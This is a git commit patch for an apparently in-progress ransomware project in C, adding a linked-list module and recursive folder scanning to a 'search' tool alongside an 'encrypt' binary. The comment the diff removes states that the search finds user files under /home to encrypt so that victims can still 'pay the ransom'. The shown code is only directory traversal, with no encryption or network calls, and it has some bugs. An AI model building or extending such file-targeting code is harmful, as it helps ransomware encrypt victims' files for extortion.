From c92b4f7cf884cde740d2c5986d6f88be7dcafcc2 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Tue, 18 Jun 2024 18:51:36 -0500 Subject: Almost make scanning folders work --- src/Makefile | 8 ++-- src/ll.c | 53 ++++++++++++++++++++++++++ src/ll.h | 25 ++++++++++++ src/search.c | 122 ++++++++++++++++++++++++++++++++++++++--------------------- src/search.h | 19 +++++++--- 5 files changed, 175 insertions(+), 52 deletions(-) create mode 100644 src/ll.c create mode 100644 src/ll.h (limited to 'src') diff --git a/src/Makefile b/src/Makefile index 39369a1..f869a31 100644 --- a/src/Makefile +++ b/src/Makefile @@ -1,7 +1,7 @@ CC = gcc CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb -BINARY_FILES := encrypt search +BINARY_FILES := encrypt search ll.o .PHONY: all clean @@ -13,5 +13,7 @@ clean: encrypt: encryption.c encryption.h $(CC) $(CFLAGS) encryption.c -o encrypt -search: search.c search.h - $(CC) $(CFLAGS) search.c -o search \ No newline at end of file +search: search.c search.h ll.o + $(CC) $(CFLAGS) search.c ll.o -o search + +ll.o: ll.c ll.h \ No newline at end of file diff --git a/src/ll.c b/src/ll.c new file mode 100644 index 0000000..1a0426b --- /dev/null +++ b/src/ll.c @@ -0,0 +1,53 @@ +#include "ll.h" + +#include +#include +#include + +#include + +// Initialize an empty nodelist object +struct nodelist* nodelist_init(struct nodelist *start) { + if(start == NULL) { + start = calloc(1, sizeof(struct nodelist)); + if(start == NULL) { + error(0, errno, "Could not allocate space for empty node list object"); + return NULL; + } + } + + start->fullpath = NULL; + start->next = NULL; + start->type = NODELIST_TYPE__UNDEF; + + return start; +} + +struct nodelist* nodelist_prepend(struct nodelist *new, struct nodelist *list) { + new->next = list; + return new; +} + +struct nodelist* nodelist_append(struct nodelist *list, struct nodelist *append) { + struct nodelist *p = NULL, *prev = NULL; + for(p = list; p != NULL; p = p->next) + prev = p; + + // If the pointer p is null, prev will never be set, so just error out + if(prev == NULL) + return NULL; + + prev->next = append; + + return list; +} + +int nodelist_delete(struct nodelist *list) { + struct nodelist *p, *next; + for(p = list; p != NULL; p = next) { + next = p->next; + free(p); + } + + return 0; +} \ No newline at end of file diff --git a/src/ll.h b/src/ll.h new file mode 100644 index 0000000..9470ea6 --- /dev/null +++ b/src/ll.h @@ -0,0 +1,25 @@ +#ifndef __SLOTS__LL_C__12752409230707 +#define __SLOTS__LL_C__12752409230707 + +#define NODELIST_TYPE__UNDEF -1 +#define NODELIST_TYPE__FILE 0 +#define NODELIST_TYPE__FOLDER 1 +struct nodelist { + struct nodelist *next; + char *fullpath; + int type; +}; + +// Initializes a nodelist object. Returns a pointer to START on success, and NULL on error. If START is null, malloc is called to populate it +struct nodelist* nodelist_init(struct nodelist *start); + +// Prepend a new nodelist object to an already existing nodelist +struct nodelist* nodelist_prepend(struct nodelist *new, struct nodelist *list); + +// Append a nodelist object to the end of an already existing nodelist +struct nodelist* nodelist_append(struct nodelist *list, struct nodelist *append); + +// Delete a nodelist allocated by malloc +int nodelist_delete(struct nodelist *list); + +#endif \ No newline at end of file diff --git a/src/search.c b/src/search.c index 22e5486..bb2cc0e 100644 --- a/src/search.c +++ b/src/search.c @@ -1,72 +1,108 @@ -/*** - * SEARCH - * - * Find valid files to encrypt -*/ - -/* -Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their -shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now) -*/ - #define _GNU_SOURCE #include "search.h" +#include "ll.h" + +// Scan a directory +// Sort inputs into files and folders +// Store the full path for each file/folder +// Search new folders #include #include #include +#include +#include #include #include -#include #include +#include + #include -int folderonly(const struct dirent64 *tester) { - // Filter out the current and previous dir macros - if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0) +int nodesort(const struct dirent *node, int (*S_IS_CALLBACK)(mode_t)) { + // Ignore . and .. folders + if(strcmp(node->d_name, ".") == 0 || strcmp(node->d_name, "..") == 0) return 0; - // Check if the "file" is specifically a dir - struct stat64 sb; - if(stat64(tester->d_name, &sb) < 0) { - error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); - return 0; // Don't try to traverse into a dir that we don't know is a dir or not + // Stat the file + struct stat sb; + if(stat(node->d_name, &sb) < 0) { + error(0, errno, "Couldn't stat file \"%s\"", node->d_name); + return 0; } - // Filter out non dirs - if((sb.st_mode & S_IFMT) != S_IFDIR) - return 0; + // Check if the mode is correct + if((*S_IS_CALLBACK)(sb.st_mode)) + return 1; + + // God I love function pointers - return 1; + // Not what is being checked for, exclude it + return 0; } -int fileonly(const struct dirent64 *tester) { - // Check if the "file" is specifically a dir - struct stat64 sb; - if(stat64(tester->d_name, &sb) < 0) { - error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); - return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten - } +int S_ISDIR_WRAPPER(mode_t mode) { + return S_ISDIR(mode); +} - // Filter out dirs - if((sb.st_mode & S_IFMT) != S_IFREG) - return 0; +int S_ISREG_WRAPPER(mode_t mode) { + return S_ISREG(mode); +} + +int foldersort(const struct dirent *node) { + return nodesort(node, S_ISDIR_WRAPPER); +} - return 1; +int filesort(const struct dirent *node) { + return nodesort(node, S_ISREG_WRAPPER); } -int main (void) { - struct dirent64 **eps; + +int main(void) { + /* + struct dirent **nodes; int n; - n = scandir64("./", &eps, folderonly, alphasort64); + char *actualpath = NULL; + n = scandir("./", &nodes, foldersort, alphasort); if(n >= 0) { - for(int cnt = 0; cnt < n; cnt++) - puts(eps[cnt]->d_name); - } else { - perror("Couldn't open dir"); - } + int cnt; + for(cnt = 0; cnt < n; ++cnt) { + actualpath = realpath(nodes[cnt]->d_name, actualpath); + puts(actualpath); + free(actualpath); + } + + } else + perror("Couldn't open the directory"); + //*/ + + struct dirent **nodes = NULL; + int n = 0; + + struct nodelist *scanner = nodelist_init(NULL), *holder = nodelist_init(NULL), *hstart = holder; + if(scanner == NULL) + error(-1, errno, "shit brokey"); + scanner->fullpath = realpath("./", NULL); + scanner->type = NODELIST_TYPE__FOLDER; + + n = scandir(scanner->fullpath, &nodes, foldersort, alphasort); + if(n > 0) { + for(int i = 0; i < n; i++) { + holder->fullpath = realpath(nodes[i]->d_name, NULL); + holder->type = NODELIST_TYPE__FOLDER; + holder->next = nodelist_init(NULL); + holder = holder->next; + } + } else + error(-1, 0, "Couldn't open folder"); + + nodelist_append(scanner, hstart); + + printf("Scanned paths:\n"); + for(struct nodelist *p = scanner; p->next != NULL; p = p->next) // Because of how holder is populated, checking p->next for being null makes sure printf doesn't try to do anything dumb like printing a null string + printf("%s\n", p->fullpath); return 0; } diff --git a/src/search.h b/src/search.h index 9a5a086..8b5f502 100644 --- a/src/search.h +++ b/src/search.h @@ -1,12 +1,19 @@ -#ifndef __SLOTS__SEARCH_H__1863390513307 -#define __SLOTS__SEARCH_H__1863390513307 +#ifndef __SLOTS__SEARCH_H__4612270218569 +#define __SLOTS__SEARCH_H__4612270218569 +#include #include -// scandir filter: filter out anything that isn't a directory -int folderonly(const struct dirent64 *tester); +// Wrapper for stat's S_ISDIR(mode) macro. Implemented as: return S_ISDIR(mode) +int S_ISDIR_WRAPPER(mode_t mode); + +// Wrapper for stat's S_ISREG(mode) macro. Implemented as: return S_ISREG(mode) +int S_ISREG_WRAPPER(mode_t mode); + +// Sort out nodes in a scanned directory using one of stat's S_IS--- functions +int nodesort(const struct dirent *node, int (*S_IS_CALLBACK)(mode_t)); +int foldersort(const struct dirent *node); // Only display folders when using scandir +int filesort(const struct dirent *node); // Only display files when using scandir -// scandir filter: filter out anything that isn't a regular file -int fileonly(const struct dirent64 *tester); #endif \ No newline at end of file -- cgit v1.2.3